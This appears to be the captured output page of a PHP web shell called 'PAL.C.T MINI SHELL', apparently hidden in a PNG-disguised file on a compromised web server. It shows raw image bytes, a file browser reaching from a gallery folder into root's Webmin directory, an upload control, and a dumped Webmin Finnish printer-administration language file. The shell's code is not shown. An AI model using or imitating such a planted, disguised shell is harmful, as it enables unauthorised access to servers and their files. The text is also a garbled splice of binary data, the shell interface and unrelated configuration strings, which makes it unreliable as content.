php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/lpadmin/lang/fi.auto

index_title=Tulostimen hallinto
index_header=Saatavana olevat tulostimet
index_name=kirjoitin
index_desc=Kuvaus
index_to=Tulosta
index_driver=kuljettaja
index_enabled=Käytössä?
index_accepting=Hyväksyminen?
index_jobs=Työpaikat
index_none=Tähän järjestelmään ei ole asennettu tulostimia.
index_list=Lista ..
index_jlist=Työpaikat ..
index_jcount=$1 työpaikkaa ..
index_add=Lisää uusi tulostin.
index_stop=Lopeta aikataulu
index_stopmsg=Napsauta tätä painiketta, kun haluat pysäyttää käynnissä olevan tulostusaikataulun. Tämä estää paikallisia tai etäkäyttäjiä tulostamasta järjestelmääsi.
index_start=Käynnistä ajoittaja
index_startmsg=Napsauta tätä painiketta, kun haluat aloittaa tulostusaikataulun. Tämän avulla paikalliset ja etäkäyttäjät voivat tulostaa järjestelmässäsi.
index_restart=Käynnistä ajoitus
index_restartmsg=Napsauta tätä painiketta, kun haluat käynnistää tulostusaikataulun uudelleen. Tämä pakottaa nykyisen tulostusmäärityksen käyttämään.
index_return=tulostinluettelo
index_esystem=Asenna joko valitsemasi tulostusjärjestelmän ohjelmisto tai muuta <a href='$1'>moduulin määritystä</a>.
index_style=Tulostusjärjestelmä: $1 
index_cluster=Klusteripalvelimet
index_clusterdesc=Napsauta tätä painiketta, jos haluat asettaa uusia Webmin-palvelimia, joille tulostimet luodaan, päivitetään ja poistetaan.
index_delete=Poista valitut tulostimet

style_solaris=Solaris
style_linux=Linux LPR
style_freebsd=FreeBSD LPR
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_eedit=Tätä tulostinta ei saa muokata
edit_eadd=Et voi lisätä tulostimia
edit_add=Luo tulostin
edit_edit=Muokkaa tulostinta
edit_conf=Tulostimen asetukset
edit_name=Nimi
edit_acc=Hyväksytkö pyyntöjä?
edit_why=Ei - Miksi ei
edit_desc=Kuvaus
edit_ena=Tulostaminen käytössä?
edit_acl=Kulunvalvonta
edit_allow=Salli kaikkien
edit_deny=Kieltää kaikki
edit_allowu=Salli luettelossa olevat käyttäjät ..
edit_denyu=Estä luetellut käyttäjät ..
edit_banner=Tulosta banneri?
edit_opt=Valinnainen
edit_default=Oletustulostin?
edit_already=Jo oletustulostin
edit_max=Tulostustöiden enimmäiskoko
edit_unlimited=Rajoittamaton
edit_dacc=Kuljettaja hyväksyy
edit_dtext=Teksti
edit_dpost=jälkikirjoitus
edit_dother=muut
edit_alt=Vaihtoehtoiset tulostimen nimet
edit_dest=Tulosta kohde
edit_dev=Paikallinen laite
edit_file=Paikallinen tiedosto
edit_remote=Etä Unix-palvelin
edit_rqueue=kirjoitin
edit_type=Tyyppi
edit_smb=Windows-etäpalvelin
edit_share=kirjoitin
edit_user=käyttäjä
edit_pass=Salasana
edit_wgroup=Workgroup
edit_hpnp=Etä HPNP-palvelin
edit_port=portti
edit_direct=Suora TCP-yhteys
edit_dport=portti
edit_driver=Tulostinohjain
edit_check=Tarkista onko etäpalvelin käytössä?

blocks=lohkot

save_err=Tulostimen tallennus epäonnistui
save_eadd=Et voi lisätä tulostimia
save_eedit=Tätä tulostinta ei saa muokata
save_ename='$1' ei ole kelvollinen tulostimen nimi
save_edup='$1' -niminen tulostin on jo olemassa
save_eallow=Ei käyttäjiä sallia pääsyä
save_edeny=Ei kieltäviä käyttäjiä
save_euser=Käyttäjää '$1' ei ole
save_etype=Sinun on valittava vähintään yksi tyyppi, jonka tämä ohjain hyväksyy
save_emax=Tulostustöiden enimmäiskoko on oltava kokonaisluku
save_efile='$1' ei ole olemassa
save_erhost=Etäisäntää '$1' ei ole olemassa
save_erport=Etäportti '$1' ei kelpaa
save_erqueue='$1' ei ole kelvollinen etäjonon nimi
save_eremote=Ohjaimia ei voi käyttää etä Unix-tulostimien kanssa
save_edhost=Suoraa isäntää '$1' ei ole olemassa
save_edport=Puuttuva tai virheellinen suoraportti
save_evalid=Tulostusjärjestelmä ei salli tätä tulostinta
save_errslave=Tulostin loi OK tähän järjestelmään, mutta klusterijärjestelmissä tapahtui seuraavia virheitä : $1 
save_egone=Tulostinta nimeltä '$1' ei löytynyt
save_errdelslave=Tulostin poisti OK tässä järjestelmässä, mutta klusterijärjestelmissä tapahtui seuraavat virheet : $1 

jobs_title=Tulostustyöt
jobs_header=Tulostustyöt $1 : llä
jobs_id=Työtunnus
jobs_size=Koko
jobs_by=Lähettäjä
jobs_when=Lähetetty klo
jobs_file=Tiedoston nimi
jobs_cancel=Napsauta työpaikan tunnusta yllä olevasta luettelosta peruuttaaksesi.
jobs_cancelview=Napsauta työpaikan tunnusta yllä olevasta luettelosta peruuttaaksesi tai napsauta työn kokoa nähdäksesi sen.
jobs_none=Tulostimella $1 ei ole vireillä olevia töitä.
jobs_all=Peruuta kaikki tulostustyöt
jobs_bytes=tavua
jobs_test=Tulosta testisivu
jobs_cancelsel=Peruuta valitut työt
jobs_on=Tulostimessa $1 
jobs_return=luettelo tulostustöistä

cancel_ecannot=Et voi peruuttaa tulostustöitä
cancel_err=Tulostustyön peruuttaminen epäonnistui
cancel_egone=Tulostustyötä $1 ei enää ole

view_ecannot=Et voi tarkastella tätä tulostustyötä
view_egone=Tätä tulostustyötä ei enää ole

start_ecannot=Sinulla ei ole oikeutta käynnistää ajoitusta
start_err=Aikataulun käynnistäminen epäonnistui

stop_ecannot=Et voi lopettaa aikataulua
stop_err=Aikataulun lopettaminen epäonnistui

restart_ecannot=Aikataulua ei saa käynnistää uudelleen
restart_err=Aikataulun käynnistäminen epäonnistui

webmin_none=Ei mitään
webmin_nonemsg=Postscript tai tekstitulostin
webmin_remotemsg=Etätulostin
webmin_model=Malli
webmin_prog=Ohjelmoida
webmin_driver=Webmin-ohjain
webmin_uniprint=Uniprint-ohjain
webmin_edrivers=$1 : n ohjainten hakeminen epäonnistui. Ghostscriptiä käyttävät Webmin-tulostinohjaimet eivät ole käytettävissä
webmin_egs=Komentoa $1 ei löytynyt. Ghostscriptiä käyttävät Webmin-tulostinohjaimet eivät ole käytettävissä
webmin_edriver='$1' ei ole olemassa

caldera_none=Ei mitään
caldera_nonemsg=Etä- tai raakatulostin
caldera_prog=Ohjelmoida
caldera_coas=COAS-kuljettaja
caldera_printer=Tulostin ja resoluutio
caldera_eof=Lähetä EOF?
caldera_paper=Paperikoko
caldera_double=Tulostetaanko kaksipuolinen?
caldera_gsopts=Muut GS-vaihtoehdot
caldera_uniprint=Uniprint-ohjain
caldera_eprog='$1' ei ole olemassa
caldera_edriver=Tulostinohjainta ei ole valittu
caldera_eres=Resoluutiota ei ole valittu

redhat_none=Ei mitään
redhat_nonemsg=Postscript tai tekstitulostin
redhat_prog=Ohjelmoida
redhat_driver=Redhat kuljettaja
redhat_printer=Tulostin ja resoluutio
redhat_eof=Lähetä EOF?
redhat_paper=Paperikoko
redhat_pages=Sivuja tulostettua sivua kohti
redhat_gsopts=Muut GS-vaihtoehdot
redhat_hmargin=Oikea/vasen marginaali
redhat_vmargin=Ylä/alamarginaali
redhat_crlf=Korjaa portaiden askelmainen teksti?
redhat_eprog='$1' ei ole olemassa
redhat_edriver=Tulostinohjainta ei ole valittu
redhat_ehmargin=Puuttuva tai virheellinen oikea/vasen reuna
redhat_evmargin=Puuttuva tai virheellinen ylä-/alamarginaali
redhat_eres=Resoluutiota ei ole valittu
redhat_printer2=Tulostimen malli ja ohjain

suse_none=Ei mitään
suse_nonemsg=Postscript tai tekstitulostin
suse_prog=Ohjelmoida
suse_driver=APS-suodattimen ohjain
suse_printer=Tulostimen tyyppi
suse_res=Tarkkuus DPI: ssä
suse_colour=Väritulostin?
suse_paper=Paperikoko
suse_method=Suodatusmenetelmä
suse_auto=Automaattinen
suse_ascii=ASCII
suse_raw=Raaka
suse_extra=Extra ghostscript -asetukset
suse_yast2=YAST2-ohjain
suse_edriver=Tulostintyyppiä ei ole valittu
suse_eres=Puuttuva tai virheellinen ratkaisu

estop=Lpd: $1  : n lopettaminen epäonnistui

acl_printers=Tämän käyttäjän määrittämät tulostimet
acl_add=Voiko uusia tulostimia lisätä?
acl_cancel=Voiko peruuttaa tulostustyöt?
acl_stop=Voiko pysäyttää tai käynnistää aikataulun?
acl_restart=Käynnistä vain uudelleen
acl_listed=Vain valituilla tulostimilla ..
acl_pall=Kaikki tulostimet
acl_psel=Valitut ..
acl_view=Näytetäänkö konfiguroimattomat tulostimet?
acl_test=Voiko testisivuja tulostaa?
acl_user=Hallinnoi
acl_user_all=Kaikki käyttäjät
acl_user_this=Nykyinen Webmin-käyttäjä
acl_delete=Voiko tulostimia poistaa?
acl_cluster=Voiko tulostusklasteria hallita?

log_stop=Pysäytetty tulostusaikataulu
log_start=Aloitettu tulostusaikataulu
log_restart=Käynnistettiin tulostusaikataulu
log_cancel_job=Peruutettu tulostustyö $2 $1 : llä
log_cancel_all=Peruutti kaikki $1 -tulostustyöt
log_cancel_sel=Peruutettiin $2 : n tulostustyöt kohdalla $1 
log_create=Luotu tulostin $1 $2 : een
log_modify=Muokattu tulostin $1 $2 : ssa
log_delete=Poistettu tulostin $1 $2 : sta
log_create_l=Luotu $3 tulostin $1 $2 : een
log_modify_l=Muokattu $3 -tulostin $1 $2 : ssa
log_delete_l=Poistettu $3 tulostin $1 $2 : sta

linux_paralel=Rinnakkaisportti $1 
linux_serial=Sarjaportti $1 (COM $1)
linux_null=Nolla laite
linux_usb=USB-tulostin $1 
linux_ecmd=Komentoa $1 ei löydy järjestelmästäsi, mikä osoittaa, että Linux-tulostusjärjestelmää ei ole asennettu.
linux_espool=Ryhmähakemistoa $1 ei ole järjestelmässäsi, mikä osoittaa, että Linux-tulostusjärjestelmää ei ole asennettu.

freebsd_paralel=Rinnakkaisportti
freebsd_serial=Sarjaportti $1 (COM $1)
freebsd_ecmd=Komentoa $1 ei löydy järjestelmästäsi, mikä osoittaa, että FreeBSD-tulostusjärjestelmää ei ole asennettu.
freebsd_espool=Kelahakemistoa $1 ei ole järjestelmässäsi, mikä osoittaa, että FreeBSD-tulostusjärjestelmää ei ole asennettu.

openbsd_paralel=Rinnakkaisportti
openbsd_serial=Sarjaportti $1 (COM $1)

unixware_paralel=Rinnakkaisportti $1 
unixware_serial=Sarjaportti $1 
unixware_null=Nolla laite
unixware_ecmd=Komentoa $1 ei löydy järjestelmästäsi, mikä osoittaa, että UnixWare-tulostusjärjestelmää ei ole asennettu.

hpux_paralel=Rinnakkais $1 
hpux_serial=Sarja $1 
hpux_null=Nolla laite
hpux_ecmd=Komentoa $1 ei löydy järjestelmästäsi, mikä osoittaa, että HPUX-tulostusjärjestelmää ei ole asennettu.
hpux_eiface=Käyttöliittymäkomentoshakemistoa $1 ei ole järjestelmässäsi, mikä osoittaa, että HPUX-tulostusjärjestelmää ei ole asennettu.

lprng_paralel=Rinnakkaisportti $1 
lprng_serial=Sarjaportti $1 (COM $1)
lprng_null=Nolla laite
lprng_ecmd=Komentoa $1 ei löydy järjestelmästäsi, mikä osoittaa, että LPRng-tulostusjärjestelmää ei ole asennettu.
lprng_espool=Kelahakemistoa $1 ei ole järjestelmässäsi, mikä osoittaa, että LPRng-tulostusjärjestelmää ei ole asennettu.

solaris_paralel=Rinnakkaisportti
solaris_uparalel=Ultra 5/10 rinnakkaisportti
solaris_serial=Sarjaportti $1 
solaris_null=Nolla laite
solaris_ecmd=Komentoa $1 ei löydy järjestelmästäsi, mikä osoittaa, että Solaris-tulostusjärjestelmää ei ole asennettu.

test_title=Tulosta testisivu
test_ecannot=Et saa tulostaa testisivuja
test_desc=Tämän lomakkeen avulla voit tulostaa testisivun tulostimelle $1. Valitse tulostettavan sivutyyppi :
test_0=Mustavalkoinen PostScript-sivu
test_1=Väri Postscript-sivu
test_2=Pelkkä ASCII-teksti
test_3=Kaikki ladatut tiedostot
test_print=Tulosta sivu
test_exec=Testisivun tulostaminen komennolla $1 ..
test_failed=.. komento epäonnistui!
test_ok=.. komento valmis.

cups_none=Ei mitään
cups_nonemsg=Etä- tai raakatulostin
cups_prog=Ohjelmoida
cups_driver=CUPS-ohjain
cups_eprog='$1' ei ole kelvollinen ohjelma
cups_opts=$1 : n vaihtoehdot
cups_ecmd=Komentoa $1 ei löydy järjestelmästäsi, mikä osoittaa, että CUPS-tulostusjärjestelmää ei ole asennettu.

irix_ecmd=Komentoa $1 ei löydy järjestelmästäsi, mikä osoittaa, että IRIX-tulostusjärjestelmää ei ole asennettu.
irix_eiface=Käyttöliittymäkomentoshakemistoa $1 ei ole järjestelmässäsi, mikä osoittaa, että IRIX-tulostusjärjestelmää ei ole asennettu.

aix_port=Tulostinportti $1 
aix_edesc=Virheellinen kuvaus - vain kirjaimet ja numerot ovat sallittuja, eikä välilyöntejä
aix_ecmd=AIX-tulostinpalvelinta $1 ei löytynyt. Ehkä sitä ei ole asennettu tai toinen tulostusjärjestelmä on käytössä.

cluster_title=Klusteritulostinpalvelimet
cluster_none=Tulostimen klusteriin ei ole vielä lisätty palvelimia.
cluster_host=hostname
cluster_desc=Kuvaus
cluster_os=Käyttöjärjestelmä
cluster_add=Lisää palvelin
cluster_gadd=Lisää palvelimia ryhmään
cluster_need=Sinun on lisättävä palvelimet, joilla on kirjautuminen ja salasana, Webmin Servers Index -moduuliin, ennen kuin niitä voidaan hallita täällä.
cluster_return=klusteripalvelimet
cluster_delete=Poista valitut
cluster_ecannot=Et voi hallita klusteritulostinpalvelimia

add_title=Lisää palvelimia
add_msg=Lisätään $1 ..
add_gmsg=Palvelimien lisääminen ryhmään $1 ..
add_err=Palvelimen lisääminen epäonnistui
add_gerr=Ryhmän lisääminen epäonnistui
add_echeck=Palvelimella $1 ei ole Printer Administration -moduulia
add_ediff=Palvelin $1 käyttää eri tulostusjärjestelmää ($2) tähän palvelimeen
add_ediff2=Palvelin $1 käyttää eri tulostinajuria ($2) tähän palvelimeen
add_ok=Lisätty $1, $2 -tulostimella.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`